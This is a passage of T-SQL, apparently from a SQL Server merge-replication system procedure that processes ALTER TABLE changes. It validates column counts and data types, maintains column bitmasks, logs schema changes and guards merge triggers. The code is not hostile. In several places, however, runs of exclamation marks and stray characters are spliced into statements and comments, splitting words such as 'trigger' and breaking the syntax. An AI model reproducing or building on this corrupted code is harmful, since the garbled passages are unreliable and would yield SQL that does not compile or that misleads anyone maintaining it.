                        FROM dbo.sysmergearticles A, 
                        dbo.sysmergepublications P,
                        dbo.sysmergesubscriptions S 
                        WHERE A.pubid = P.pubid and P.pubid = S.pubid
                        and A.objid = @objid    
                        and S.status = @subscription_active  -- active
                    )
        and not exists (select * from #merge_altertable where DDLsubtype in( N'ADDCOLUMN', N'DROPCOLUMN'))
    begin
            goto SUCCESS
    end

    /*       
    --fk is cascade delete/update without not for replication clause, error out
    -- see bug 551947
    select @num_columns = count(*) from #merge_altertable where DDLsubtype = N'ADDREFERENCE'
    declare #fk_name CURSOR LOCAL FAST_FORWARD for 
            select name, is_not_for_replication,  delete_referential_action, update_referential_action
            from sys.foreign_keys
            where     parent_object_id = @objid 
            order by create_date desc
        
    open #fk_name
    fetch #fk_name into @colname, @is_not_for_replication,  @delete_referential_action, @update_referential_action
    while (@@fetch_status <> -1 and @num_columns > 0)
    begin
        if @is_not_for_replication = 0 
            and (@delete_referential_action = 1 or @update_referential_action = 1)
        begin
            raiserror(21724, 10, 1, @colname, @qual_object_name)        
            select @should_fail = 1
        end
        fetch #fk_name into @colname, @is_not_for_replication,  @delete_referential_action, @update_referential_action
        select @num_columns = @num_columns - 1
    end
    close #fk_name
    deallocate #fk_name

    if @should_fail = 1
    begin
        goto FAILURE
    end
*/

    --adding constraints without name, switch to single cmd mode
    --now that we can query catelog view for constraints name, update the parser resultset so later join on name will work
    if exists( select * from #merge_altertable ma 
            where ((ma.schemasubtype = @schemasubtype_addun) OR (ma.schemasubtype = @schemasubtype_addfk) OR (ma.schemasubtype = @schemasubtype_addchk))
                    and len(isnull(ma.ColumnName, '') )= 0)
    begin

        exec @retcode = sys.sp_MSmergefixup_constraints_name @schemasubtype_addun = @schemasubtype_addun    --N'ADDUNIQUE'
                                                            ,@schemasubtype_addfk = @schemasubtype_addfk    --N'ADDREFERENCE'
                                                            ,@schemasubtype_addchk = @schemasubtype_addchk	--N'ADDCHECK'
                                                            ,@objid = @objid
                                                            ,@debug_print = @debug_print
        if @retcode <>0 or @@ERROR<>0
                goto FAILURE
    end

    --adding default without name, switch to single cmd mode
    --now that we can query catelog view for constraints name, update the parser resultset so later join on name will work
    if exists( select * from #merge_altertable ma 
            where (ma.schemasubtype  = @schemasubtype_adddf)
                    and (len(isnull(ma.ColumnName, '') )= 0 or 
                            ColumnName collate database_default in 
                            (select name from sys.columns where object_id = @objid)))
    begin
        exec @retcode = sys.sp_MSmergefixup_defaults_name @schemasubtype_adddf = @schemasubtype_adddf	--N'ADDDEFAULT'
                                                            ,@schemasubtype_addcolumn = @schemasubtype_addcolumn	--N'ADDCOLUMN'
                                                            ,@objid = @objid
                                                            ,@debug_print = @debug_print
        if @retcode <>0 or @@ERROR<>0
                goto FAILURE
    end

    --------------------------------------
    -- iterate through publication and article pair
    
    -- if the current table is part of a publication with less than 90 compat level we will not allow the alter table 
    if exists (select 1 from dbo.sysmergepublications where backward_comp_level<90 and pubid in
                (select pubid from dbo.sysmergearticles where objid = @objid))
    begin
        if exists (select * from #merge_altertable where DDLsubtype in( N'ADDCOLUMN', N'DROPCOLUMN', N'ALTERCOLUMN') )
        begin
            raiserror(25013, 16, -1)
            goto FAILURE
        end

         --Merge replication does not support ALTER COLUMN ADD SPARSE for merge published columns
         if	exists (select * from sys.columns col join #merge_altertable ma on col.name = ma.ColumnName collate database_default
                			where col.object_id = @objid 
                			        and col.is_merge_published = 1
                				 and ma.DDLsubtype = N'ENABLESPARSE')
         begin
            select @artname= name  from dbo.sysmergearticles where objid=@objid
         	raiserror(21863, 16, -1, @artname)
              goto FAILURE
         end   
                    
         goto SUCCESS
    end
    
    if 0=@islightweight
    begin
        declare #each_publication CURSOR LOCAL FAST_FORWARD FOR 
            select DISTINCT 
                    name, 
                    snapshot_ready, 
                    pubid, 
                    publisher, 
                    publisher_db, 
                    sync_mode, 
                    case
                        when centralized_conflicts=1 and decentralized_conflicts=1 then 2
                        when centralized_conflicts=1 and decentralized_conflicts=0 then 1
                        else 0
                    end,
                    replicate_ddl
                FROM dbo.sysmergepublications where 
                    pubid in (select pubid from dbo.sysmergearticles where objid=@objid)
            for read only
    end
    else
    begin
        declare #each_publication CURSOR LOCAL FAST_FORWARD FOR
            select distinct 
                    name, 
                    case status
                        when @active then @ready
                        else @notready
                    end,
                    pubid,
                    publisher,
                    publisher_db,
                    0,    -- Lightweight does not further propagate DDL, thus certainly no need to invoke sp_MSNonSQLDDL for non-SQL subscribers.
                    case
                        when centralized_conflicts=1 and decentralized_conflicts=1 then 2
                        when centralized_conflicts=1 and decentralized_conflicts=0 then 1
                        else 0
                    end,
                    replicate_ddl
                from dbo.sysmergepublications
                where pubid in (select pubid from dbo.sysmergearticles where objid=@objid)
                for read only
    end

    open #each_publication
    fetch #each_publication into @pubname, @snapshot_ready, @pubid, @publisher, @publisher_db, @sync_mode, @conflict_logging, @replicate_ddl
    while (@@fetch_status <> -1)
    begin
        if upper(@publisher collate SQL_Latin1_General_CP1_CS_AS) = upper(publishingservername() collate SQL_Latin1_General_CP1_CS_AS) and 
           db_name()=@publisher_db
        begin
            set @is_publisher= 1
        end
        else
        begin
            set @is_publisher= 0
        end

        declare @bypassreplicatedllpub bit
        set @bypassreplicatedllpub = @bypassreplicatedll
    
        if 0=@islightweight
        begin
          !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<($f(
v\  select @artname = name, @columnsbm=columns, @artid=artid
                        ,@dest_table=destination_object, @dest_owner=destination_owner
                        ,@sync_objid = sync_objid, @vertical_partition = vertical_partition, @schema_option = schema_option, @status = status
                from dbo.sysmergearticles 
                where pubid=@pubid and objid=@objid
        end
        else
        begin
            select @artname= name,
            @artid=artid,
                   @columnsbm=0x00    -- Only used if this replica is a publisher. 
                       ,@dest_table=destination_object, @dest_owner=destination_owner
                       ,@sync_objid = sync_objid, @vertical_partition = vertical_partition, @schema_option = schema_option, @status = status
                from dbo.sysmergearticles 
                where pubid=@pubid and objid=@objid
        end

        set @NeedSchemaChange = 0
        set @missingORexcluded = NULL

    if @is_publisher = 1
    begin
        if exists (select * from #merge_altertable where DDLsubtype in ('DROPCOLUMN'))
        begin
            exec @retcode = sys.sp_MSFixPubColumnBitmaps     @pubid = @pubid,
                                                        @artid = @artid,
                                                        @bm = @missingORexcluded output,
                                                        @NeedSchemaChange = @NeedSchemaChange output

            if @@error<>0 or @retcode<>0 
            goto FAILURE
        end


        declare #alter_table_cursor CURSOR LOCAL FAST_FORWARD FOR 
            select DISTINCT id, ColumnName 
            from #merge_altertable where DDLsubtype = N'ADDCOLUMN'
            order by id ASC
            for read only
        open #alter_table_cursor
        fetch #alter_table_cursor into @statement_id, @column

        while (@@fetch_status <> -1)
        begin
            select @excluded_cols = excluded_cols,
                @missing_cols = missing_cols
                from dbo.sysmergearticles 
                where pubid=@pubid and objid=@objid

            if @replicate_ddl & 1 = 0
            -- When we are not replicating DDL we have to add the newly added column to
            -- the excluded columns bitmask.
            begin
                    
                select @column_id = column_id from sys.columns where object_id = @objid and name = @column
                
                if exists (select pubid from dbo.sysmergearticles where artid=@artid and pubid<>@pubid and sys.fn_MSmerge_islocalpubid(pubid)=0)
                    select @is_republisher=1
                else
                    select @is_republisher=0

                if @is_republisher = 0
                -- If this is not the republisher then the column id is already absolute so set
                -- the bit in the exluded columns bitmask at the column id.
                begin
                    exec sys.sp_MSsetbit @excluded_cols OUTPUT, @column_id                
                end
                else
                -- If this is not the republisher then we need to convert the relative column id to absolute value.
                begin
                    exec sys.sp_MSget_absolute_colid @missing_cols, @column_id, @abs_column_id output
                    exec sys.sp_MSsetbit @excluded_cols OUTPUT, @abs_column_id                
                end

                
                exec @retcode= sys.sp_MSBitmapCount
                            @bm1= @excluded_cols,
                            @count= @excluded_col_count output

                update  dbo.sysmergearticles 
                    set excluded_cols     = @excluded_cols,
                    excluded_col_count = @excluded_col_count
                    where pubid=@pubid and objid=@objid
            end
            else
            -- Always send the schema change to the subscriber to update its missing columns bitmask when adding a new column
            -- Some columns may have been added before this addcolumn with replicateddl set to 0. we need to make sure that
            -- those get marked as missing on the subscriber.
            begin
                select @NeedSchemaChange = 1

                exec @retcode= sys.sp_ORbitmap
                                @inputbitmap1= @missing_cols,
                                @inputbitmap2= @excluded_cols,
                                @resultbitmap3= @missingORexcluded output
                
            end
            
            fetch #alter_table_cursor into @statement_id, @column
        end -- while-loop over #alter_table_cursor 

        close #alter_table_cursor 
        deallocate #alter_table_cursor 
    end

        -- check to make sure we have <= 246 columns in the table
        if exists (select * from #merge_altertable where DDLsubtype=N'ADDCOLUMN')
        begin
                if @sync_objid is not null
                begin
                    select @cCols= count(*) from sys.columns where object_id = @sync_objid and is_computed <> 1 and system_type_id <> type_id('timestamp')
                                                            and is_merge_published = 1

                    if @is_publisher=1 and (@replicate_ddl & 1 <> 0) and (@cCols > 246) 
                    begin
                        RAISERROR (25006, 16, -1, @artname, 246)
                        goto FAILURE
                    end
                end
                else if @vertical_partition = 0
                begin
                    select @cCols= count(*) from sys.columns where object_id = @objid and is_computed <> 1 and system_type_id <> type_id('timestamp')
                    set @cMissing= coalesce((select max(missing_col_count) from dbo.sysmergearticles where objid = @objid), 0)
                    if ((@cCols + @cMissing) > 246)
                    begin
                        RAISERROR (25006, 16, -1, @artname, 246)
                        goto FAILURE
                    end
                end
        end
		
        -- only propagate this change when snapshot has been run; or at subscriber side where re-publishing is possible.
        if @snapshot_ready=@ready or @snapshot_ready=@snapshotobsolete
        begin

	        if (@status not in (2, 6))
	        begin
		        -- If the article is not active then we don't need schema change
		        select @NeedSchemaChange = 0
		        select @bypassreplicatedllpub=1
	        end

            if @NeedSchemaChange <> 0
            begin
                select @schemaversion_bitmask = schemaversion from dbo.sysmergeschemachange
                if (@schemaversion_bitmask is NULL)
                    set @schemaversion_bitmask = 1
                else
                    select @schemaversion_bitmask = 1 + max(schemaversion) from dbo.sysmergeschemachange
                    
                set @schemaguid_bitmask = newid()
                set @schematype_bitmask= @SCHEMA_TYPE_DDL_RELATED_COLUMN_FIXUP
                set @schemasubtype_bitmask = 0
                exec sys.xp_varbintohexstr @missingORexcluded, @missingORexcludedStr output
                select @schematext_bitmask = 'exec dbo.sp_MSFixSubColumnBitmaps @artid = ''' + convert(nchar(36), @artid) + ''', @bm = ' + @missingORexcludedStr
                exec @retcode=sys.sp_MSinsertschemachange @pubid, @artid, @schemaversion_bitmask, @schemaguid_bitmask, @schematype_bitmask, @schematext_bitmask, @schemasubtype_bitmask
                if @@ERROR<>0 or @retcode<>0 goto FAILURE      
            end
        
            -- Any statement containing drop-column has to be delivered - there is no bit to skip that.
            if @is_publisher=1 and (@replicate_ddl & 1 <> 0 or exists (select * from #merge_altertable where DDLsubtype=N'DROPCOLUMN'))
            begin
               -- check validity of disable trig!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(*uG
v\ger request, we want to protect trg used by merge 
                if exists (select * from #merge_altertable where DDLsubtype=N'DISABLETRIGGER')
                begin
                    -- request like 'Alter table t2 DISABLE Trigger All'
                    if exists (select * from #merge_altertable where schemasubtype=@schemasubtype_disabletriggerall)
                    begin
                            raiserror(21541, 16, -1)
                            goto FAILURE
                    end

                    -- request like 'Alter table t2 DISABLE Trigger t2_ITrig, t2_ITrig2, t2_ITrig3'
                    exec @retcode=sys.sp_MSguidtostr @artid, @guidstr out
                    if @retcode<>0 or @@ERROR<>0 
                    begin
                                goto FAILURE  
                    end
                    set @instrigname = 'MSmerge_ins_' + @guidstr
                    set @updtrigname = 'MSmerge_upd_' + @guidstr
                    set @deltrigname = 'MSmerge_del_' + @guidstr
                    if exists (select ColumnName from #merge_altertable 
                                    where DDLsubtype=N'DISABLETRIGGER'
                                    and (ColumnName=@instrigname or ColumnName=@updtrigname or ColumnName=@deltrigname) 
                                  )
                    begin 
                          raiserror(21545, 16, -1)
                            goto FAILURE
                    end
                end

                if @bypassreplicatedllpub=0
                begin

                    set @schemaversion = NULL            
                    select @schemaversion = 1 + max(schemaversion) from dbo.sysmergeschemachange
                    if (@schemaversion is NULL)
                        set @schemaversion = 1
                        
                    set @schemaguid = newid()
                    set @schematype = @SCHEMA_TYPE_DDL_ACTIONS

                    -- we need to change the 3 part naming into 2 part: [owner].[tablename]
                    if(@dest_owner is not NULL) and (len(@dest_owner) > 0)
                        select @qual_dest_object = QUOTENAME(@dest_owner) + N'.' 
                    else 
                        select @qual_dest_object = N'' 
                    if(@dest_table is not null) and (len(@dest_table) > 0)
                        select @qual_dest_object = @qual_dest_object + QUOTENAME(@dest_table)
                    else 
                        select @qual_dest_object = @qual_object_name                                    
                                   
                    select @temp_ddlcmds = N'if object_id(N''' +sys.fn_replreplacesinglequote(@qual_dest_object)+ N''') is not null exec(''' 
                                        + sys.fn_replreplacesinglequote('ALTER TABLE '
                                        + @qual_dest_object + N' '
                                        + @pass_through_scripts )+ N''')'

                    exec @retcode=sys.sp_MSinsertschemachange @pubid, @artid, @schemaversion, @schemaguid, @schematype, @temp_ddlcmds, @schemasubtype 
                    if @@ERROR<>0 or @retcode<>0 goto FAILURE        
                   
                end
            end

            declare #alter_table_cursor CURSOR LOCAL FAST_FORWARD FOR 
                select DISTINCT id, DDLsubtype, ColumnName, schemasubtype
                from #merge_altertable
                order by id ASC
                for read only
            open #alter_table_cursor
            fetch #alter_table_cursor into @statement_id, @subtype, @column, @schemasubtype

            while (@@fetch_status <> -1)
            begin
         
                --this contains addcolumn - do alter-table-add-column first
                if @schemasubtype=@schemasubtype_addcolumn
                begin
                    -- check if this is an identity column. if so we should prevent the add
                    if exists (select * from sys.columns where object_id = @objid and name = @column and is_identity=1)
                    begin
                        RAISERROR (25012, 16, -1)
                            goto FAILURE
                    end

                    -- check if this is a sparse column. if so we should prevent the add
                    if exists (select * from sys.columns where object_id = @objid and (is_sparse=1 or is_column_set=1) )
                    begin
                        raiserror(25025, 16, -1)
                        goto FAILURE
                    end

		      -- If the current column being altered is a hierachy/geometry/geography/filestream/new datetime
		      --block for SSCE subscribers according to the following table

			--                             Type		100RTM character		90RTM native		90RTM character
			-- 			hierarchy			block				block			block
			--		geometry/geography						block			block
			--			filestream		block				block			block
			--		new datetime types						block			block

		       if  exists  (select * from sys.columns sc
			               where object_id = @objid and name = @column and 
			               ((type_name(sc.system_type_id) in ('date', 'time', 'datetime2', 'datetimeoffset'))
			               or (type_name(sc.user_type_id) in ('hierarchyid', 'geometry', 'geography'))
			               or (sc.system_type_id in (165) and sc.is_filestream = 1 and sc.max_length=-1))) -- filestream
		       begin 
				if exists (select 1 from dbo.sysmergepublications where backward_comp_level<=90 
								and pubid in (select pubid from dbo.sysmergearticles where objid = @objid))                    
				begin
			              RAISERROR (20739, 16, -1, @artname)
			              goto FAILURE				
				end

				if exists (select 1 from dbo.sysmergepublications where backward_comp_level=100 
								and sync_mode = 1
								and pubid in (select pubid from dbo.sysmergearticles where objid = @objid) )
						  and (exists (select * from sys.columns sc
						                        where object_id = @objid and name = @column and 
					                            (type_name(sc.user_type_id) = 'hierarchyid'
					                            or (sc.system_type_id in (165) and sc.is_filestream = 1 and sc.max_length=-1)))) -- filestream
				begin
			       	RAISERROR (22586, 16, -1, @column, @artname, @pubname)
			              goto FAILURE				
				end
		       end                    
                
                    if 0=@islightweight
                    begin
                        /* We are adding a column - include it in the count */
                        if @sync_objid is not null
                        begin
                            select @cCols= count(*) from sys.columns where object_id = @sync_objid and is_computed <> 1 and system_type_id <> type_id('timestamp')
                                                    and is_merge_published = 1
                            if @is_publisher=1 and (@replicate_ddl & 1 <> 0) and (@cCols + 1 > 246) 
                            begin
                                RAISERROR (25006, 16, -1, @artname, 246)
                                    goto FAILURE
                            end
                        end
                        else if @vertical_partition = 0
                        begin
                            select @cCols= count(*) from sys.columns where object_id = @objid and is_computed <> 1 and system_type_id <> type_id('timestamp')
                            set @cMissing= coalesce((select max(missing_col_count) from dbo.sysmergearticles where objid = @objid), 0)
                            if ((@cCols + @cMissing + 1) > 246)
                            begin
                                RAISERROR (25006, 16, -1, @artname, 246)
                                    goto FAILURE
                             end
                        end
                  !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(.v\  
                        update dbo.sysmergearticles set vertical_partition=1 where pubid=@pubid and objid=@objid
                        if @@ERROR<>0 goto FAILURE

                        if not exists (select * from #merge_altertable where DDLsubtype=N'ADDCOLUMN' and id>@statement_id)
                        begin
                            --now drop conflict insert proc and set its column in dbo.sysmergearticle to NULL                            
                            exec @retcode=sp_MSDropTriggerProcs    @qual_object_name, @pubid
                            if @@ERROR<>0 or @retcode <>0 goto FAILURE
                        end

                        if @sync_mode = 1 and @replicate_ddl & 1 <> 0 and @bypassreplicatedllpub=0
                        begin 
                            exec @retcode = sys.sp_MSNonSQLDDL @qual_object_name, @pubid, @column, @schemasubtype --add column
                            if @retcode <>0 or @@ERROR<>0 goto FAILURE
                        end
                        
                        if @is_publisher=1 and @replicate_ddl & 1 <> 0
                        begin
                        
                            if @schemaversion is not NULL and @bypassreplicatedllpub=0
                            begin        
                                -- we need to quote object using 2 part: owner.tablename
                                -- we have to ensure table object exists as user can add a new article and do ddl on it, and then ask us
                                -- to upload before reinit
                                select @temp_ddlcmds = schematext from dbo.sysmergeschemachange where pubid=@pubid and schemaversion=@schemaversion
                                select @temp_ddlcmds = N' if not exists (select * from syscolumns where name = N''' + sys.fn_replreplacesinglequote(@column) collate database_default  + ''' and id = object_id(N''' + sys.fn_replreplacesinglequote(@qual_dest_object)  collate database_default + ''')) ' + @temp_ddlcmds
                                -- Never overwrite schemasubtype of addcolumn, dropcolumn, altercolumn since these schema changes control  
                                -- the versioning of the procedures. The sys.fn_GetArticleSchemaVersionGuid(@artid, @pubid) function uses
                                -- the schema subtype to locate the maximum schema version guid pertaining to an article. If the article has
                                -- had a significant schema change of addcolumn, dropcolumn, altercolumn (that causes procs to be reversioned)
                                -- in the same batch as some non-significant schemachanges such as drop constraints etc, the schemasubtype of
                                -- the significant schemachange needs to be preserved. 
                                select @schematype_existing = schematype , @schemasubtype_existing = schemasubtype from dbo.sysmergeschemachange where pubid=@pubid and schemaversion=@schemaversion
                                if ((@schematype_existing = @SCHEMA_TYPE_DDL_ACTIONS) and @schemasubtype_existing in (@schemasubtype_addcolumn, @schemasubtype_dropcolumn, @schemasubtype_altercolumn))
                                    set @schemasubtype = @schemasubtype_existing
                                
                                update dbo.sysmergeschemachange 
                                    set schemasubtype = @schemasubtype, 
                                        schematext = @temp_ddlcmds
                                        where pubid=@pubid and schemaversion=@schemaversion
                            end
                            if @bypassreplicatedllpub=0
                            begin
                                    -- Indicate that this is an internal caller of sp_mergearticlecolumn
                                    EXEC @retcode = sys.sp_MSsetcontext_internalcaller @onoff=1
                                    IF @@ERROR <> 0 or @retcode <> 0
                                        goto FAILURE

                                exec @retcode = sys.sp_mergearticlecolumn @pubname, @artname, @column, 'add', 'true'    
                                if @@ERROR<>0 or @retcode <>0 goto FAILURE
        
                                    -- Turn off indication that this is an internal caller of sp_mergearticlecolumn
                                    EXEC @retcode = sys.sp_MSsetcontext_internalcaller @onoff=0
                                    IF @@ERROR <> 0 or @retcode <> 0
                                        goto FAILURE
                                
                            end
                            -- regenerate publication view at publishser side
                            exec @retcode = sys.sp_MSpublicationview @publication = @pubname, @force_flag = 2, @articlename = @artname
                            if @retcode<>0 or @@ERROR<>0
                            begin
                                raiserror(25008, 16, -1) 
                                goto FAILURE
                            end
                            
                            --conflict table is at publisher side for centralized conflicts - 
                            --conflict table is at publisher and subscriber for decentralized conflicts
                            exec @retcode = sys.sp_MSAdjustConflictTable @qual_object_name, @pubid,@column, @column_change_type=1
                            if @@ERROR<>0 or @retcode <>0 goto FAILURE                        

                        end
                        else if @conflict_logging <> 1 and @replicate_ddl & 1 <> 0 --adjust the conflict table at subscriber side, if logging is decentralized or both
                        begin
                            exec @retcode = sys.sp_MSAdjustConflictTable @qual_object_name, @pubid,@column, @column_change_type=1
                            if @@ERROR<>0 or @retcode <>0 goto FAILURE                        
                        end
                    end -- 0=@islightweight
                    else
                    begin
                        --conflict table is at publisher side for centralized conflicts - 
                        --conflict table is at publisher and subscriber for decentralized/both conflicts
                        if @conflict_logging <> 1 and @replicate_ddl & 1 <> 0 
                        begin
                            exec @retcode= sys.sp_MSAdjustConflictTable @qual_object_name, @pubid,@column, @column_change_type=1
                            if @@ERROR<>0 or @retcode <>0 goto FAILURE                        
                        end
                    end

                    if not exists (select * from #merge_altertable where DDLsubtype=N'ADDCOLUMN' and id>@statement_id)
                    begin
                        exec @retcode = sys.sp_MSResetTriggerProcs @qual_object_name, @pubid, 1 /* @article_level_only */
                        if @@ERROR<>0 or @retcode <>0 goto FAILURE                        
                    end                                
                end
                --this contains dropcolumn 
                else if @schemasubtype = @schemasubtype_dropcolumn 
                begin
                    if 0=@islightweight
                    begin
                        update dbo.sysmergearticles set vertical_partition=1 where pubid=@pubid and objid=@objid
                        if @@ERROR<>0 goto FAILURE
                    end

                    if not exists (select * from #merge_altertable where DDLsubtype=N'DROPCOLUMN' and id>@statement_id)    
                    begin
                        --now drop conflict insert proc and set its column in dbo.sysmergearticle to NULL                            
                        exec @retcode= sys.sp_MSDropTriggerProcs @qual_object_name, @pubid
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(fPSlv\
                        if @@ERROR<>0 or @retcode <>0 goto FAILURE                        
                    end
                    
                    if @is_publisher=1
                    begin
                        -- we need to quote object using 2 part: owner.tablename
                        --if this column exists in the subscriber's partition
                        select @temp_ddlcmds = schematext from dbo.sysmergeschemachange where pubid=@pubid and schemaversion=@schemaversion
                        select @temp_ddlcmds = N' if exists (select * from syscolumns where name = N''' + sys.fn_replreplacesinglequote(@column) collate database_default + ''' and id = object_id(N''' + sys.fn_replreplacesinglequote(@qual_dest_object) collate database_default + ''')) ' + @temp_ddlcmds
                        -- Never overwrite schemasubtype of addcolumn, dropcolumn, altercolumn since these schema changes control  
                        -- the versioning of the procedures. The sys.fn_GetArticleSchemaVersionGuid(@artid, @pubid) function uses
                        -- the schema subtype to locate the maximum schema version guid pertaining to an article. If the article has
                        -- had a significant schema change of addcolumn, dropcolumn, altercolumn (that causes procs to be reversioned)
                        -- in the same batch as some non-significant schemachanges such as drop constraints etc, the schemasubtype of
                        -- the significant schemachange needs to be preserved. 
                        select @schematype_existing = schematype , @schemasubtype_existing = schemasubtype from dbo.sysmergeschemachange where pubid=@pubid and schemaversion=@schemaversion
                        if ((@schematype_existing = @SCHEMA_TYPE_DDL_ACTIONS) and @schemasubtype_existing in (@schemasubtype_addcolumn, @schemasubtype_dropcolumn, @schemasubtype_altercolumn))
                            set @schemasubtype = @schemasubtype_existing
                        
                        update dbo.sysmergeschemachange 
                            set schemasubtype = @schemasubtype, 
                                schematext = @temp_ddlcmds
                            where pubid=@pubid and schemaversion=@schemaversion

                        --adjust column bitmask now that vertical partitioning is on
                        select @max_colid = max(column_id) from sys.columns where object_id = @objid
                        set @colid = 1
                        while (@colid < @max_colid + 1) --take care of the case where last column gets dropped
                        begin
                            exec @in_partition = sys.sp_MStestbit @bm=@columnsbm, @coltotest=@colid
                            --it current column among those dropped?
                            if @in_partition <> 0 and not exists (select * from sys.columns where object_id = @objid and column_id = @colid)
                            begin
                                --reset bit in column bitmask
                                exec @retcode=sys.sp_MSsetbit @columnsbm OUTPUT, @colid, 0
                                if @@ERROR<>0 or @retcode<>0 goto FAILURE                                            
                            end
                            set @colid = @colid + 1
                        end
                        --update current columns bitmap
                        update dbo.sysmergearticles set columns = @columnsbm where pubid=@pubid and objid=@objid
                        if @@ERROR<>0 goto FAILURE
                        --regenerate publication view
                        exec @retcode = sys.sp_MSpublicationview @publication = @pubname, @force_flag = 2, @articlename = @artname
                        if @retcode<>0 or @@ERROR<>0
                        begin
                            raiserror(25008, 16, -1) 
                            goto FAILURE
                        end

                        --conflict table is at publisher side for centralized conflicts - 
                        --conflict table is at publisher and subscriber for decentralized conflicts
                        exec @retcode = sys.sp_MSAdjustConflictTable @qual_object_name, @pubid, @column, @column_change_type=2 --drop column
                        if @@ERROR<>0 or @retcode <>0 goto FAILURE
 
                    end
                    else if @conflict_logging <> 1 --adjust conflict table at subscriber side
                    begin
                            exec @retcode = sys.sp_MSAdjustConflictTable @qual_object_name, @pubid, @column, @column_change_type=2 --drop column
                            if @@ERROR<>0 or @retcode <>0
                                goto FAILURE
                    end
                        
                    --generate ALTER TABLE DROP for heterogenous subscribers
                    if @sync_mode = 1
                    begin
                        exec @retcode = sys.sp_MSNonSQLDDL @qual_object_name, @pubid, @column, @schemasubtype --drop column
                        if @@ERROR<>0 or @retcode <>0
                                goto FAILURE
                    end


                    if not exists (select * from #merge_altertable where DDLsubtype=N'DROPCOLUMN' and id>@statement_id)    
                    begin
                        exec @retcode = sys.sp_MSResetTriggerProcs @qual_object_name, @pubid, 1 /* @article_level_only */
                        if @@ERROR<>0 or @retcode <>0 goto FAILURE
                    end                    
                end
                -- this contains ALTER-TABLE ALTER COLUMN
                else if @schemasubtype = @schemasubtype_altercolumn 
                begin 
                    -- Modify the alter column to containg the if exists check - do this only at the publisher
                    if @is_publisher=1
                    begin
                        select @temp_ddlcmds = schematext from dbo.sysmergeschemachange where pubid=@pubid and schemaversion=@schemaversion
                        select @temp_ddlcmds = N' if exists (select * from syscolumns where name = N''' + sys.fn_replreplacesinglequote(@column) collate database_default + ''' and id = object_id(N''' + sys.fn_replreplacesinglequote(@qual_dest_object) collate database_default + ''')) ' + @temp_ddlcmds

                        -- Never overwrite schemasubtype of addcolumn, dropcolumn, altercolumn since these schema changes control  
                        -- the versioning of the procedures. The sys.fn_GetArticleSchemaVersionGuid(@artid, @pubid) function uses
                        -- the schema subtype to locate the maximum schema version guid pertaining to an article. If the article has
                        -- had a significant schema change of addcolumn, dropcolumn, altercolumn (that causes procs to be reversioned)
                        -- in the same batch as some non-significant schemachanges such as drop constraints etc, the schemasubtype of
                        -- the significant schemachange needs to be preserved. 
                        select @schematype_existing = schematype , @schemasubtype_existing = schemasubtype from dbo.sysmergeschemachange where pubid=@pubid and schemaversion=@schemaversion
                        if ((@schematype_existing = @SCHEMA_TYPE_DDL_ACTIONS) and @schemasubtype_existing in (@schemasubtype_addcolumn, @schemasubtype_dropcolumn, @schemasubtype_altercolumn))
                            set @schemasubtype = @schemasubtype_existing
                        update dbo.sysmergeschemachange 
                            set schemasubtype = @schemasubtype, 
                                schematext = @temp_ddlcmds
                            where pubid=@pubid and schemaversion=@schemaversion
                    end
                    -- If the current column being altered !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(fµv\is a BLOB/XML/UDT column, disallow ALTER COLUMN if we map down datatypes to base datatypes
                    -- Since only the lower 32 bits of @schema_option are
                    -- currently used, the following check is sufficient.
                    DECLARE @schema_option_lodword int
                    SELECT @schema_option_lodword = fn_replgetbinary8lodword(@schema_option)
                    select @colid = column_id from sys.columns where object_id = @objid and name = @column

                    --Is the current colid being altered a published column
                    exec @in_partition = sys.sp_MStestbit @bm=@columnsbm, @coltotest=@colid

                    -- If the current column being altered is a BLOB/XML/UDT column, disallow ALTER COLUMN if we map down datatypes to base datatypes
                    if @in_partition <> 0 and (exists 
                    (select * from sys.columns sc
                        where object_id = @objid and column_id = @colid and 
                            ((type_name(sc.system_type_id) in ('image', 'text', 'ntext', 'xml') and sc.max_length = -1) -- Max datatype
                            or sc.system_type_id in (240))                                                            -- CLR-UDTs
                        and ((@schema_option_lodword & 0x10000000 > 0) --map xml to ntext
                        or (@schema_option_lodword & 0x00000020 > 0) --map udt to image
                        or (@schema_option_lodword & 0x20000000 > 0))))--map max to blob
                    begin 
                        RAISERROR (21844, 16, -1, @artname)
                        goto FAILURE
                    end

                    -- If the current column being altered is a hierachy/geometry/geography/filestream/new datetime
                    --block for SSCE subscribers according to the following table

			--                             Type		100RTM character		90RTM native		90RTM character
			--                   hierarchy		block				block			block
			--		geometry/geography						block			block
			--			filestream		block				block			block
			--		new datetime types						block			block

		       if  exists  (select * from sys.columns col 
		       				join sys.types typ on typ.user_type_id = col.user_type_id
		       				join #merge_altertable ma on col.name = ma.ColumnName collate database_default
		       		  where object_id = @objid 
		       		  	and (ma.schemasubtype = @schemasubtype_altercolumn)
		       		     	and (typ.name in (N'date', N'time', N'datetime2', N'datetimeoffset', N'hierarchyid', N'geometry', N'geography')))

		     begin
				if exists (select * from dbo.sysmergepublications where backward_comp_level<=90 
								and pubid in (select pubid from dbo.sysmergearticles where objid = @objid))                    
				begin
			              RAISERROR (20739, 16, -1, @artname)
			              goto FAILURE				
				end

				if exists (select * from dbo.sysmergepublications where backward_comp_level=100 
								and sync_mode = 1
								and pubid in (select pubid from dbo.sysmergearticles where objid = @objid) )
						  and (exists (select * from sys.columns sc
						                        where object_id = @objid and name = @column and 
					                            (type_name(sc.user_type_id) = 'hierarchyid'
					                            or (sc.system_type_id in (165) and sc.is_filestream = 1 and sc.max_length=-1)))) -- filestream
				begin
			       	RAISERROR (22586, 16, -1, @column, @artname, @pubname)
			              goto FAILURE				
				end
		     	
		     end		       
                
                    if not exists (select * from #merge_altertable where DDLsubtype=N'ALTERCOLUMN' and id>@statement_id)
                    begin
                        --now drop conflict insert proc and set its column in dbo.sysmergearticle to NULL                            
                        exec @retcode= sys.sp_MSDropTriggerProcs @qual_object_name, @pubid
                        if @@ERROR<>0 or @retcode <>0 goto FAILURE
                     end

                    if @sync_mode = 1 and @replicate_ddl & 1 <> 0
                    begin 
                        exec @retcode = sys.sp_MSNonSQLDDL @qual_object_name, @pubid, @column, @schemasubtype --alter column
                        if @retcode <>0 or @@ERROR<>0 goto FAILURE
                    end
                    
                    if @is_publisher=1 and @replicate_ddl & 1 <> 0
                    begin
                        -- regenerate publication view at publishser side
